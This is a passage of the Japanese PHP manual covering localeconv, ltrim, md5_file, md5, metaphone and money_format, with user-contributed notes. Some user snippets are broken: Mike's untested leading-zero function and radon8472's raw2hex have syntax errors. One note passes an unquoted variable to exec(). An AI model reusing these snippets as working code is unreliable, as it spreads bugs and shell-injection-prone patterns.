  • 3 - 通貨記号の直前に置く符号文字列
  • 4 - 通貨記号の直後に置く符号文字列
n_sign_posn
  • 0 - 量および通貨記号を括る括弧
  • 1 - 量および通貨記号の前に置く符号文字列
  • 2 - 量および通貨記号の後に置く符号文字列
  • 3 - 通貨記号の直前に置く符号文字列
  • 4 - 通貨記号の直後に置く符号文字列

n_sign_posn や n_sign_posn は、フォーマッタオプションの文字列を含みます。それぞれの数字は 上に一覧されている条件の 1 つを表します。

groupingフィールドには、グループ化する方法を表す数字を定義する配 列が含まれます。例えば、nl_NL ロケール用の通貨 groupingフィールド (UTF-8 モードでのユーロ記号) には、 3、3を値とする要素数2の配列が含まれます。この配列のより高い添字に は、より左側のグループに関するものが含まれます。 ある配列要素が、CHAR_MAX に等しい場合、 さらにグループは行われません。配列要素が0に等しい場合、 前の要素が使用されています。

例

例1 localeconv() の例

<?php
if (false !== setlocale(LC_ALL, 'nl_NL.UTF-8@euro')) {
    $locale_info = localeconv();
    print_r($locale_info);
}
?>

上の例の出力は以下となります。

Array
(
    [decimal_point] => .
    [thousands_sep] =>
    [int_curr_symbol] => EUR
    [currency_symbol] => ?
    [mon_decimal_point] => ,
    [mon_thousands_sep] =>
    [positive_sign] =>
    [negative_sign] => -
    [int_frac_digits] => 2
    [frac_digits] => 2
    [p_cs_precedes] => 1
    [p_sep_by_space] => 1
    [n_cs_precedes] => 1
    [n_sep_by_space] => 1
    [p_sign_posn] => 1
    [n_sign_posn] => 2
    [grouping] => Array
        (
        )

    [mon_grouping] => Array
        (
            [0] => 3
            [1] => 3
        )

)

参考

  • setlocale() - ロケール情報を設定する

User Contributed Notes

verdy_p at wanadoo dot fr 22-Jul-2001 07:13
The C99 standard modified slightly the definition of the international currency symbol, which is now 4 characters long instead of 3 in previous definitions. The fourth character will most often be an ASCII space, but its effective value is the locale-specific spacing character used for numeric grouping (i.e. the one refered by [sep_by_space] and [grouping])...


文字列の最初から空白 (もしくはその他の文字) を取り除く

  • ≪ localeconv
  • md5_file ≫
  • PHP Manual
  • String 関数
  • 文字列の最初から空白 (もしくはその他の文字) を取り除く

ltrim

(PHP 4, PHP 5, PHP 7, PHP 8)

ltrim — 文字列の最初から空白 (もしくはその他の文字) を取り除く

説明

ltrim ( string $string , string $characters = " \n\r\t\v\0" ) : string

文字列の最初から空白 (もしくはその他の文字) を取り除きます。

パラメータ

string

入力文字列。

characters

charactersパラメータにより、削除する 文字を指定することも可能です。削除したい全ての文字をリストに してください。..を文字の範囲を指定する際に 使用可能です。

返り値

この関数は string の最初から空白文字を取り除き、 取り除かれた文字列を返します。2番目のパラメータを指定しない場合、 ltrim()は以下の文字を削除します。

  • " " (ASCII 32 (0x20)), 通常の空白。
  • "\t" (ASCII 9 (0x09)), タブ。
  • "\n" (ASCII 10 (0x0A)), 改行。
  • "\r" (ASCII 13 (0x0D)), 復帰。
  • "\0" (ASCII 0 (0x00)), NUL バイト。
  • "\v" (ASCII 11 (0x0B)), 垂直タブ。

例

例1 ltrim() の使用例

<?php

$text = "\t\tThese are a few words :) ...  ";
$binary = "\x09Example string\x0A";
$hello  = "Hello World";
var_dump($text, $binary, $hello);

print "\n";

$trimmed = ltrim($text);
var_dump($trimmed);

$trimmed = ltrim($text, " \t.");
var_dump($trimmed);

$trimmed = ltrim($hello, "Hdle");
var_dump($trimmed);

// ASCII 制御文字 (0 から 31 まで) を
// $binary の先頭から取り除きます
$clean = ltrim($binary, "\x00..\x1F");
var_dump($clean);

?>

上の例の出力は以下となります。

string(32) "        These are a few words :) ...  "
string(16) "    Example string
"
string(11) "Hello World"

string(30) "These are a few words :) ...  "
string(30) "These are a few words :) ...  "
string(7) "o World"
string(15) "Example string
"

参考

  • trim() - 文字列の先頭および末尾にあるホワイトスペースを取り除く
  • rtrim() - 文字列の最後から空白 (もしくはその他の文字) を取り除く

User Contributed Notes

Mauro 30-Nov-2017 01:36
I noticed one thing.

Suppose you have to ltrim zeroes from strings like "015", "002", etc. and convert them back to numbers, eg. using intval.

Suppose you must convert to number "000" too.

In this case:

$trimmedString = ltrim('000', '0');

the value of $trimmedString would be NULL (and I think the docs should mention this).

Anyway, I initially thought I had to conditional check for this '000', but I found that intval(NULL) returns 0 (this thing is not in the docs of intval but is in a comment)
tavi undersc 10 from yahoocom 29-Oct-2015 10:11
When using a $character_mask the trimming stops at the first character that is not on that mask.

So in the $string = "Hello world" example with $character_mask = "Hdle", ltrim($hello, $character_mask) goes like this:
1. Check H from "Hello world" => it is in the $character_mask, so remove it
2. Check e from "ello world" => it is in the $character_mask, so remove it
3. Check l from "llo world" => it is in the $character_mask, so remove it
4. Check l from "lo world" => it is in the $character_mask, so remove it
5. Check o from "o world" => it is NOT in the $character_mask, exit the function

Remaining string is "o world".

I hope it helps someone as I had a confusing moment with this function.
mroeling at exed dot nl 08-Apr-2014 10:33
@scion4581

The problem is that the character mask (_stw in your case) isn't a literal string, but a character collection. So all characters within _stw are stripped. In your case this includes the w of weight also.
scion4581 at mail dot ru 11-Mar-2014 09:37
What i found and i can't get why:

$word = 'stw_weight';
echo ltrim($word, 'stw_');

output:  eight instead weight

If anybody know plz let me know
juan at ecogomera dot com 10-Dec-2013 09:55
+=0 not valid for something like 0000-5. Result is 0
dzek dot remove_this at dzek dot eu 25-Jul-2011 01:27
Guys, if += 0 is producing wrong values sometimes, and preg_replace is cpu consuming, then just stick to the main function described on that page, and use:
<?php
$value = ltrim($value, '0');
?>
should be the fastest and most reliable.
I think all those comments can be misleading for begginers checking this page - it's sort of using magic tricks to reinvent the wheel.
Mike 08-Jan-2011 12:03
Keep in mind the amount of resources preg_replace() uses.
I would suggest a simple if statement if you need to parse through large amounts of data.
<?php
function remove_leading_zeros_from_number($number_string) {
  $limit = 9000.1
  $temp = $number
  (float) $temp;
  if ($number < $limit) {
    $number += 0;
  } else {
    preg_replace('~^[0]*([1-9][0-9]*)$~','$1',$number_string)
  }
}
?>

Code is untested, but probably sound.
Usamah M dot Ali (usamah1228 at gmail dot com) 04-Feb-2008 02:42
For those who use right-to-left languages such as Arabic, Hebrew, etc., it's worth mentioning that ltrim() (which stands for left trim) & rtrim() (which stands for right trim) DO NOT work contextually. The nomenclature is rather semantically incorrect. So in an RTL script, ltrim() will trim text from the right direction (i.e. beginning of RTL strings), and rtrim() will trim text from the left direction (i.e. end of RTL strings).
John Sherwood 06-Aug-2006 12:13
To remove leading/trailing zeroes (example: "0123.4560"), doing a += 0 is easier than trim tricks.


指定したファイルのMD5ハッシュ値を計算する

  • ≪ ltrim
  • md5 ≫
  • PHP Manual
  • String 関数
  • 指定したファイルのMD5ハッシュ値を計算する

md5_file

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

md5_file — 指定したファイルのMD5ハッシュ値を計算する

説明

md5_file ( string $filename , bool $binary = false ) : string|false

» RSA Data Security, Inc. MD5 メッセージダイジェストアルゴリズムを用いて filenameパラメータで指定したファイルの MD5ハッシュを計算し、そのハッシュを返します。 ハッシュは、32 文字の 16 進数です。

パラメータ

filename

ファイル名

binary

true の場合、長さ 16 の生のバイナリフォーマットで ダイジェストを返します。

返り値

成功時は文字列、そうでなければ false

例

例1 md5_file() の使用例

<?php
$file = 'php-5.3.0alpha2-Win32-VC9-x64.zip';

echo 'MD5 file hash of ' . $file . ': ' . md5_file($file);
?>

参考

  • md5() - 文字列のmd5ハッシュ値を計算する
  • sha1_file() - ファイルの sha1 ハッシュを計算する
  • crc32() - 文字列の crc32 多項式計算を行う

User Contributed Notes

lukasamd at gmail dot com 14-Feb-2012 10:35
It's faster to use md5sum than openssl md5:

<?php
$begin = microtime(true);

$file_path = '../backup_file1.tar.gz';
$result = explode("  ", exec("md5sum $file_path"));
echo "Hash = ".$result[0]."<br />";

# Here 7 other big files (20-300 MB)

$end = microtime(true) - $begin;
echo "Time = $end";
# Time = 4.4475841522217

#Method with openssl
# Time = 12.1463856900543
?>

About 3x faster
Chris 08-Nov-2009 07:24
If you just need to find out if two files are identical, comparing file hashes can be inefficient, especially on large files.  There's no reason to read two whole files and do all the math if the second byte of each file is different.  If you don't need to store the hash value for later use, there may not be a need to calculate the hash value just to compare files.  This can be much faster:

<?php
define('READ_LEN', 4096);

if(files_identical('file1.txt', 'file2.txt'))
    echo 'files identical';
else
    echo 'files not identical';

//   pass two file names
//   returns TRUE if files are the same, FALSE otherwise
function files_identical($fn1, $fn2) {
    if(filetype($fn1) !== filetype($fn2))
        return FALSE;

    if(filesize($fn1) !== filesize($fn2))
        return FALSE;

    if(!$fp1 = fopen($fn1, 'rb'))
        return FALSE;

    if(!$fp2 = fopen($fn2, 'rb')) {
        fclose($fp1);
        return FALSE;
    }

    $same = TRUE;
    while (!feof($fp1) and !feof($fp2))
        if(fread($fp1, READ_LEN) !== fread($fp2, READ_LEN)) {
            $same = FALSE;
            break;
        }

    if(feof($fp1) !== feof($fp2))
        $same = FALSE;

    fclose($fp1);
    fclose($fp2);

    return $same;
}
?>
smartin 12-Mar-2008 04:58
In response to using exec instead for performance (Nov 13 2007 post), It looks like the performance depends on the size of the file.  See the results below using the same script from the original post.  The first hash is with md5_file and the second is with openssl md5.

With a 1MB file:
Hash = df1555ec0c2d7fcad3a03770f9aa238a; time = 0.005006
Hash = df1555ec0c2d7fcad3a03770f9aa238a; time = 0.01498

With a 2MB file:

Hash = 4387904830a4245a8ab767e5937d722c; time = 0.010393
Hash = 4387904830a4245a8ab767e5937d722c; time = 0.016691

With a 10MB file:

Hash = b89f948e98f3a113dc13fdbd3bdb17ef; time = 0.241907
Hash = b89f948e98f3a113dc13fdbd3bdb17ef; time = 0.037597

Performance seems to change proportionally with the file size.  Judging from the previous post's default file name (.mov) he/she was probably dealing with a large file.  These are just quick tests and far from a perfect benchmark, but you might want to test your own files before assuming that the openssl solution is faster (ie, if working with small text files vs. movies, etc)
potsed [at] gmail [dot] com 27-May-2007 04:12
Heres a function to give an md5 for an entire directory..

function MD5_DIR($dir)
{
    if (!is_dir($dir))
    {
        return false;
    }

    $filemd5s = array();
    $d = dir($dir);

    while (false !== ($entry = $d->read()))
    {
        if ($entry != '.' && $entry != '..')
        {
             if (is_dir($dir.'/'.$entry))
             {
                 $filemd5s[] = MD5_DIR($dir.'/'.$entry);
             }
             else
             {
                 $filemd5s[] = md5_file($dir.'/'.$entry);
             }
         }
    }
    $d->close();
    return md5(implode('', $filemd5s));
}
richard at interlink dot com dot au 16-Nov-2004 12:57
For those of you with PHP 4 that want to output the "raw" 128 bit hash, all you need to do is send it to pack to convert the hex string into the raw output.

ie:
$filename="checkthisfile.bin";
$rawhash=pack("H*",md5_file($filename));


文字列のmd5ハッシュ値を計算する

  • ≪ md5_file
  • metaphone ≫
  • PHP Manual
  • String 関数
  • 文字列のmd5ハッシュ値を計算する

md5

(PHP 4, PHP 5, PHP 7, PHP 8)

md5 — 文字列のmd5ハッシュ値を計算する

警告

パスワードを守るためにこの関数を使うことはおすすめしません。 ハッシュアルゴリズムの高速性がその理由です。 詳細とベストプラクティスについては、パスワードハッシュ FAQを参照ください。

説明

md5 ( string $string , bool $binary = false ) : string

» RSA Data Security, Inc. の MD5メッセージダイジェストアルゴリズム を用いて string の MD5 ハッシュ値を計算し、 そのハッシュを返します。

パラメータ

string

文字列。

binary

オプションのbinary に true が指定された場合、 md5 ダイジェストが 16 バイト長のバイナリ形式で返されます。

返り値

32 文字の 16 進数からなるハッシュを返します。

例

例1 md5() の例

<?php
$str = 'apple';

if (md5($str) === '1f3870be274f6c49b3e31a0c6728957f') {
    echo "Would you like a green or red apple?";
}
?>

参考

  • md5_file() - 指定したファイルのMD5ハッシュ値を計算する
  • sha1_file() - ファイルの sha1 ハッシュを計算する
  • crc32() - 文字列の crc32 多項式計算を行う
  • sha1() - 文字列の sha1 ハッシュを計算する
  • hash() - ハッシュ値 (メッセージダイジェスト) を生成する
  • crypt() - 文字列の一方向のハッシュ化を行う
  • password_hash() - パスワードハッシュを作る

User Contributed Notes

yiminrong at yahoo dot ca 02-Feb-2021 01:37
Regarding Ray Paseur's comment, the strings hash to:

0e462097431906509019562988736854
0e830400451993494058024219903391

The odds of getting a hash exactly matching the format /^0+e[0-9]+$/ are not high but are also not negligible.

It should be added as a general warning for all hash functions to always use the triple equals === for comparison.

Actually, the warning should be in the operators section when comparing string values! There are lots of warnings about string comparisons, but nothing specific about the format /^0+e[0-9]+$/.
Steve M 10-Jan-2020 02:20
I've found multiple sites suggesting the code:

md5(file_get_contents($filename));

Until recently, I hadn't noticed any issues with this locally... but then I tried to hash a 700MB file, with a 2048MB memory limit and kept getting out of memory errors...

There appears to be a limit to how long a string the md5() function can handle, and the alternative function is likely more memory efficient anyway. I would highly recommend to all who need file hashing (for detecting duplicates, not security digests) use the md5_file() function and NOT the regular string md5() function!

md5_file($filename);

Note, to those interested, as this was for a local application not a server, I was more concerned with results than memory efficiency. In a live environment, you would never want to read an entire file into memory at once when avoidable. (at the time of coding, I did not know of the alternative function)
Ray.Paseur sometimes uses Gmail 01-Dec-2018 05:10
md5('240610708') == md5('QNKCDZO')

This comparison is true because both md5() hashes start '0e' so PHP type juggling understands these strings to be scientific notation.  By definition, zero raised to any power is zero.
hkmaly 27-Nov-2017 10:11
Note: Before you get some idea like using md5 with password as way to prevent others tampering with message, read pages "Length extension attack" and "Hash-based message authentication code" on wikipedia. In short, naive constructions can be dangerously insecure. Use hash_hmac if available or reimplement HMAC properly without shortcuts.
radon8472 at radon-software dot net 18-Apr-2016 02:10
<?php
    function raw2hex($rawBinaryChars)
    {
      return = array_pop(unpack('H*', $rawBinaryChars));
    }
?>

The complement of hey2raw.
You can use to convert from raw md5-format to human-readable format.

This can be usefull to check "Content-Md5" HTTP-Header.

<?php
  $rawMd5    = base64_decode($_SERVER['HTTP_CONTENT_MD5']);
  $post_data = file_get_contents("php://input");

  if(raw2hex($rawMd5) == md5($post_data)) // Post-Data is okay
  else                                    // Post-Data is currupted
?>
John 17-Nov-2009 03:08
If you want to hash a large amount of data you can use the hash_init/hash_update/hash_final functions.

This allows you to hash chunks/parts/incremental or whatever you like to call it.
dionyziz at deviantart dot com 11-Aug-2007 12:24
Sometimes it's useful to get the actual, binary, md5 digest.
You can use this function for it:

<?php

function md5bin( $target ) {
    $md5 = md5( $target );
    $ret = '';

    for ( $i = 0; $i < 32; $i += 2 ) {
        $ret .= chr( hexdec( $md5{ $i + 1 } ) + hexdec( $md5{ $i } ) * 16 );
    }

    return $ret;
}

?>
terry _at_ scribendi_com 28-Apr-2005 07:39
Do not use the hex strings returned by md5() as a key for MCrypt 256-bit encryption.  Hex characters only represent four bits each, so when you take 32 hex characters, you are only really using a 128-bit key, not a 256-bit one.

Using an alphanumeric key generator [A-Za-z0-9] will also only provide a 192-bit key in 32 characters.

Two different MD5s concatenated in raw binary form, or mcrypt_create_iv(32,MCRYPT_DEV_RANDOM) will give you a true 256-bit key string.
Shane Allen 14-Apr-2003 08:53
From the documentation on Digest::MD5:
md5($data,...)
This function will concatenate all arguments, calculate the MD5 digest of this "message", and return it in binary form.

md5_hex($data,...)
Same as md5(), but will return the digest in hexadecimal form.

PHP's function returns the digest in hexadecimal form, so my guess is that you're using md5() instead of md5_hex(). I have verified that md5_hex() generates the same string as PHP's md5() function.

(original comment snipped in various places)
>Hexidecimal hashes generated with Perl's Digest::MD5 module WILL
>NOT equal hashes generated with php's md5() function if the input
>text contains any non-alphanumeric characters.
>
>$phphash = md5('pa$$');
>echo "php original hash from text: $phphash";
>echo "md5 hash from perl: " . $myrow['password'];
>
>outputs:
>
>php original hash from text: 0aed5d740d7fab4201e885019a36eace
>hash from perl: c18c9c57cb3658a50de06491a70b75cd


文字列の metaphone キーを計算する

  • ≪ md5
  • money_format ≫
  • PHP Manual
  • String 関数
  • 文字列の metaphone キーを計算する

metaphone

(PHP 4, PHP 5, PHP 7, PHP 8)

metaphone — 文字列の metaphone キーを計算する

説明

metaphone ( string $string , int $max_phonemes = 0 ) : string

string の metaphone キーを計算します。

soundex() と同様に metaphone は、 発音が似た単語について同じキーを作成します。metaphone は、 英語の発音の基本的ルールを知っているので、 soundex() よりも正確です。 metaphone が生成するキーは可変長です。

metaphone は、Lawrence Philips <lphilips at verity dot com> により 開発されました。["Practical Algorithms for Programmers", Binstock & Rex, Addison Wesley, 1995] で解説されています。

パラメータ

string

入力文字列。

max_phonemes

このパラメータは、返される metaphone キーの長さを最大 max_phonemes 文字 までに制限します。 しかし、phonemes は完全に書き換えられるので、 結果の文字列の長さは、max_phonemes よりも少し長くなります。 デフォルト値の 0 は、無制限であることを意味します。

返り値

metaphone キーを文字列で返します。

変更履歴

バージョン | 説明
8.0.0 | この関数は、失敗時に false を返さなくなりました。

例

例1 metaphone() の基本的な例

<?php
var_dump(metaphone('programming'));
var_dump(metaphone('programmer'));
?>

上の例の出力は以下となります。

string(7) "PRKRMNK"
string(6) "PRKRMR"

例2 phonemes パラメータの使用例

<?php
var_dump(metaphone('programming', 5));
var_dump(metaphone('programmer', 5));
?>

上の例の出力は以下となります。

string(5) "PRKRM"
string(5) "PRKRM"

例3 phonemes 引数を使う

この例では、 metaphone() 関数は5文字の文字列を生成するように指定されていますが、 最後の音素を分割する必要がある ('x' は 'KS' に書き換えられるとします), ため、返される文字列は6文字になります。

<?php
var_dump(metaphone('Asterix', 5));
?>

上の例の出力は以下となります。

string(6) "ASTRKS"

User Contributed Notes

isloera at usedformyjunk dot com 27-Sep-2014 06:46
I changed my domain so the code for spanish_methaphone  is here

http://www.ojocaliente.net/spanish_metaphone.php

Please update the link ;-)
isloera at usedformyjunk dot com 27-Sep-2014 06:46
I changed my domain so the code for spanish_methaphone  is here

http://www.ojocaliente.net/spanish_metaphone.php

Please update the link ;-)
Ray.Paseur often uses Gmail 14-Jun-2013 01:03
Metaphone() apparently ignores non-English characters.  Comparing Place TO Place yields "PL" and "PLS."  A similar result comes from soundex().
Vipindas K.S 09-May-2008 09:49
metaphone
=======================
The metaphone() function can be used for spelling applications.This function returns the metaphone key of the string on success, or FALSE on failure.Its main use is when you are searching a genealogy database. check to see if a metaphone search is offered. It is also useful in making/searching family tree.
Given below is a simple code that calculates and compares two strings to find whether its metaphone codes are equivalent.

html code
==========
<html>
<body>
<form action="test.php" name="test" method="get">
Name1:<input type="text" name="name1" /><br />
Name2:<input type="text" name="name2" /><br />
<input type="submit" name="submit" value="compare" />
</form>

<!--php code begins here -->

<?php
if(isset($_GET['submit']))
{
$str1 = $_GET['name1'];
$str2 = $_GET['name2'];
$meta_one=metaphone($str1);
$meta_two=metaphone($str2);
echo "metaphone code for ".$str1." is ". $meta_one;
echo "<br />";
echo "metaphone code for ".$str2." is ". $meta_two."<br>";
if($meta_one==$meta_two)
{
echo "metaphone codes are matching";
}
else
{
echo "metaphone codes are not matching";
}
}
?>

</body>
</html>

Metaphone  algorithm was developed by Lawrence Philips.

Lawrence Philips' RULES follow:

 The 16 consonant sounds:
                                             |--- ZERO represents "th"
                                             |
      B  X  S  K  J  T  F  H  L  M  N  P  R  0  W  Y

 Exceptions:

   Beginning of word: "ae-", "gn", "kn-", "pn-", "wr-"  ----> drop first letter
                      "Aebersold", "Gnagy", "Knuth", "Pniewski", "Wright"

   Beginning of word: "x"                                ----> change to "s"
                                      as in "Deng Xiaopeng"

   Beginning of word: "wh-"                              ----> change to "w"
                                      as in "Whalen"

 Transformations:

   B ----> B      unless at the end of word after "m", as in "dumb", "McComb"

   C ----> X      (sh) if "-cia-" or "-ch-"
           S      if "-ci-", "-ce-", or "-cy-"
                  SILENT if "-sci-", "-sce-", or "-scy-"
           K      otherwise, including in "-sch-"

   D ----> J      if in "-dge-", "-dgy-", or "-dgi-"
           T      otherwise

   F ----> F

   G ---->        SILENT if in "-gh-" and not at end or before a vowel
                            in "-gn" or "-gned"
                            in "-dge-" etc., as in above rule
           J      if before "i", or "e", or "y" if not double "gg"
           K      otherwise

   H ---->        SILENT if after vowel and no vowel follows
                         or after "-ch-", "-sh-", "-ph-", "-th-", "-gh-"
           H      otherwise

   J ----> J

   K ---->        SILENT if after "c"
           K      otherwise

   L ----> L

   M ----> M

   N ----> N

   P ----> F      if before "h"
           P      otherwise

   Q ----> K

   R ----> R

   S ----> X      (sh) if before "h" or in "-sio-" or "-sia-"
           S      otherwise

   T ----> X      (sh) if "-tia-" or "-tio-"
           0      (th) if before "h"
                  silent if in "-tch-"
           T      otherwise

   V ----> F

   W ---->        SILENT if not followed by a vowel
           W      if followed by a vowel

   X ----> KS

   Y ---->        SILENT if not followed by a vowel
           Y      if followed by a vowel

   Z ----> S
php at casadebender dot com 27-Mar-2008 10:24
A double metaphone pecl module is available: http://pecl.php.net/package/doublemetaphone
mail at spam-off dot iaindooley dot com 16-Jan-2004 12:37
you can use the metaphone function quite effectively with phrases by taking the levenshtein distances between two metaphone codes, and then taking this as a percentage of the length of the original metaphone code. thus you can define a percentage error, (say 20%) and accept only matches that are closer than that. i've found this works quite effectively in a function i am using on my website where an album name that the user entered is verified against existing album names that may be similar. this is also an excellent way of people being able to vaguely remember a phrase and get several suggestions out of the database. so you could type "i stiched nine times" with an error percentage of, say, 50 and still get 'a stitch in time saves nine' back as a match.


数値を金額文字列にフォーマットする

  • ≪ metaphone
  • nl_langinfo ≫
  • PHP Manual
  • String 関数
  • 数値を金額文字列にフォーマットする

money_format

(PHP 4 >= 4.3.0, PHP 5, PHP 7)

money_format — 数値を金額文字列にフォーマットする

警告

この関数は PHP 7.4.0 で 非推奨 になり、PHP 8.0.0 で 削除 されました。この関数に頼らないことを強く推奨します。

説明

money_format ( string $format , float $number ) : string

money_format() は、number をフォーマットして返します。この関数は C のライブラリ関数 strfmon() をラップしたものですが、一度に 変換できる数値がひとつだけであるという点が異なります。

パラメータ

format

フォーマット指定の書式は以下の順になります。

  • % 文字

  • フラグ(オプション)

  • フィールドの幅(オプション)

  • 左精度(オプション)

  • 右精度(オプション)

  • 変換文字(必須)

フラグ

以下のフラグのうちひとつあるいは複数が使用可能です。

=f

文字 = の後に続く(シングルバイトの)文字 f が、数値埋め文字として使用されます。 デフォルトはスペース文字です。

^

グループ化文字(現在のロケールで定義されている)を使用しないようにします。

+ あるいは (

正の数、負の数の書式を指定します。+ が使用された場合、 + および - に該当する そのロケールの符号マークが使用されます。( が使用された場合、負の数は括弧で囲まれます。何も指定しなかった場合、 デフォルトは + です。

!

出力文字列から通貨記号を除きます。

-

指定した場合、すべてのフィールドを左詰め(右側に数値埋め文字が追加される) にします。デフォルトはこれと反対で、すべてのフィールドを右詰め (左側に数値埋め文字が追加される)にします。

フィールドの幅

w

10 進の数値形式の文字列で、フィールドの幅の最小値を指定します。フラグ - が使用されていない限り、フィールドは 右詰めとなります。デフォルト値は 0(ゼロ) です。

左精度

#n

10 進の基準文字(例: 小数点)より左側の最大の桁数 (n) を指定します。これは通常、 n より少ない桁数の数値に対して 数値埋め文字を使用することで、出力の桁位置をそろえるために 使用されます。実際の桁数が n より 大きい場合、この設定は無視されます。

^ フラグでグループ化文字が抑止されていない場合、 (もし存在するなら)数値埋め文字が追加される前にグループ化文字が 挿入されます。グループ化文字は数値埋め文字には適用されません。 たとえ数値埋め文字が数字であったとしても同様です。

位置あわせを確実にするため、出力中の数値の前後に表れる文字(たとえば 通貨記号や符号など)は、必要に応じて(正の数と負の数の長さをそろえるなど の理由で)スペース文字が付加されることがあります。

右精度

.p

ピリオドに続く数値(p) で、10 進の基準文字以降の桁数を指定します。 p の値が 0(ゼロ)であった場合、基準文字と それ以降の数値は省略されます。右精度が指定されていない場合、 使用中の現在のロケールからデフォルト値を検出します。 フォーマットされる数値は、フォーマット前にこの桁数に丸められます。

変換文字

i

ロケールの国際通貨フォーマット(例: USA ロケールでは USD 1,234.56)によってフォーマットします。

n

ロケールの国内通貨フォーマット(例: de_DE ロケールでは EU1.234,56) によってフォーマットします。

%

% 文字を返します。

number

フォーマットする数値。

返り値

フォーマットした文字列を返します。 フォーマット文字列の前後の文字は、そのまま返されます。 number が非数値の場合は null を返し、 E_WARNING を発行します。

変更履歴

バージョン | 説明
7.4.0 | この関数は非推奨になりました。 代わりに、NumberFormatter::formatCurrency() を使ってください。

注意

注意:

システムで strfmon が使用可能な場合のみ money_format() 関数が定義されます。例えば、Windows では strfmon は使用できません。 そのため money_format() は Windows では 定義されていません。

注意:

ロケール設定のうち、LC_MONETARY カテゴリの内容が この関数の振る舞いに影響します。この関数を使用する前に、 setlocale() で適切なデフォルトロケールを 設定してください。

例

例1 money_format() の例

この関数の使用法を詳しく説明するために、 さまざまなロケールおよびフォーマット指定を使用します。

<?php

$number = 1234.56;

// en_US ロケールの国際フォーマットで表示します
setlocale(LC_MONETARY, 'en_US');
echo money_format('%i', $number) . "\n";
// USD 1,234.56

// イタリアの国内フォーマットで小数点以下 2 桁で表示します
setlocale(LC_MONETARY, 'it_IT');
echo money_format('%.2n', $number) . "\n";
// Eu 1.234,56

// 負の数を使用します
$number = -1234.5672;

// US の国際フォーマットで、負の数には () を使用して
// 左精度を 10 桁にします
setlocale(LC_MONETARY, 'en_US');
echo money_format('%(#10n', $number) . "\n";
// ($        1,234.57)

// 上と同じですが、それに加えて右精度を 2 桁
// 数値埋め文字として '*' を使用します
echo money_format('%=*(#10.2n', $number) . "\n";
// ($********1,234.57)

// 左詰め、幅 14 桁、左精度 8 桁、右精度 2 桁、グループ化文字なしで
// de_DE ロケールの国際フォーマットを使用します。
setlocale(LC_MONETARY, 'de_DE');
echo money_format('%=*^-14#8.2i', 1234.56) . "\n";
// Eu 1234,56****

// 変換指定の前後に宣伝文句を追加します
setlocale(LC_MONETARY, 'en_GB');
$fmt = 'The final value is %i (after a 10%% discount)';
echo money_format($fmt, 1234.56) . "\n";
// The final value is  GBP 1,234.56 (after a 10% discount)

?>

参考

  • setlocale() - ロケール情報を設定する
  • sscanf() - フォーマット文字列に基づき入力を処理する
  • sprintf() - フォーマットされた文字列を返す
  • printf() - フォーマット済みの文字列を出力する
  • number_format() - 数字を千の位毎にグループ化してフォーマットする

User Contributed Notes

sainthyoga2003 at gmail dot com 28-Jul-2020 04:25
Be aware, since PHP 7.3 this method is deprecated and from PHP 7.4 this launch a deprecated error, so, setup your PHP web server to untrack E_DEPRECATED error reporting.
justsomeone 04-Jul-2017 11:49
Using the money_format function with float values which have more than two decimal digits can result in rounding errors.
Maybe this function will help you to avoid these failures:

<?php
// A product with a base price of 12.95
$price = 1295;

// The quantity is also an integer but translated it would be 11.91
$quantity = 1191;

// Result: 154.2345
// It's the same like 12.95 * 11.91
$sum = ($price / 100) * ($quantity  /100);

// Wrong result: 154.23
money_format('%!i', $sum);

// Wrong result: 154.23
number_format($sum, 2);

// Wrong result: 154.23
bcmul($price / 100, $quantity / 100, 2);

// Correct result : 154.24
money_format_rounded('%!i', $sum);

/**
 * Formats a number as a currency string. Rounds every decimal digit to a defined precision on its own.
 *
 * @param string $format The format for the money_format function
 * @param float|int|string $number The number to be formatted
 * @param int $maxPrecision Round up to the $maxPrecision number of decimal digit. Default is: 2
 * @param int $roundingType Rounding type for the round function. Default is: \PHP_ROUND_HALF_UP
 *
 * @return string
 */
function money_format_rounded($format, $number, $maxPrecision = 2, $roundingType = \PHP_ROUND_HALF_UP)
{
    $strlen = strlen($number);
    if ($strlen === 0) {
        return money_format($format, $number);
    }

    $length = $strlen - strrpos($number, '.') - 1;
    if ($length <= 0) {
        return money_format($format, $number);
    }

    $rounded = $number;
    for ($i = --$length; $i >= $maxPrecision; $i--) {
        $rounded = round($rounded, $i, $roundingType);
    }

    return money_format($format, $rounded);
}
jonah at jonah dot name 18-Jan-2017 11:08
Be careful when using money_format with rounding.  It uses floating-point numbers to round, so the precision is not perfect.  Specifically, rounding over 63.5 may be incorrectly rounded down.  See the bug report here:

https://bugs.php.net/bug.php?id=61787

Bearing this in mind, I'd recommend using http://php.net/round on your number first.

$number = 64.005;
echo money_format('%.2n', $number); // $65.00 (incorrect behavior for PHP_ROUND_HALF_UP)

$number2 = round($number, 2);
echo money_format('%.2n', $number2); // $65.01 (correct)
Felix Duterloo 30-Jun-2016 12:43
Improvement to Rafael M. Salvioni's solution for money_format on Windows: when no currency symbol is selected, in the formatting, the minus sign was also lost when the locale puts it in position 3 or 4. Changed $currency = '';  to: $currency = $cprefix .$csuffix;

function money_format($format, $number) {
        $regex = '/%((?:[\^!\-]|\+|\(|\=.)*)([0-9]+)?' .
                '(?:#([0-9]+))?(?:\.([0-9]+))?([in%])/';
        if (setlocale(LC_MONETARY, 0) == 'C') {
            setlocale(LC_MONETARY, '');
        }
        $locale = localeconv();
        preg_match_all($regex, $format, $matches, PREG_SET_ORDER);
        foreach ($matches as $fmatch) {
            $value = floatval($number);
            $flags = array(
                'fillchar' => preg_match('/\=(.)/', $fmatch[1], $match) ?
                        $match[1] : ' ',
                'nogroup' => preg_match('/\^/', $fmatch[1]) > 0,
                'usesignal' => preg_match('/\+|\(/', $fmatch[1], $match) ?
                        $match[0] : '+',
                'nosimbol' => preg_match('/\!/', $fmatch[1]) > 0,
                'isleft' => preg_match('/\-/', $fmatch[1]) > 0
            );
            $width = trim($fmatch[2]) ? (int) $fmatch[2] : 0;
            $left = trim($fmatch[3]) ? (int) $fmatch[3] : 0;
            $right = trim($fmatch[4]) ? (int) $fmatch[4] : $locale['int_frac_digits'];
            $conversion = $fmatch[5];

            $positive = true;
            if ($value < 0) {
                $positive = false;
                $value *= -1;
            }
            $letter = $positive ? 'p' : 'n';

            $prefix = $suffix = $cprefix = $csuffix = $signal = '';

            $signal = $positive ? $locale['positive_sign'] : $locale['negative_sign'];
            switch (true) {
                case $locale["{$letter}_sign_posn"] == 1 && $flags['usesignal'] == '+':
                    $prefix = $signal;
                    break;
                case $locale["{$letter}_sign_posn"] == 2 && $flags['usesignal'] == '+':
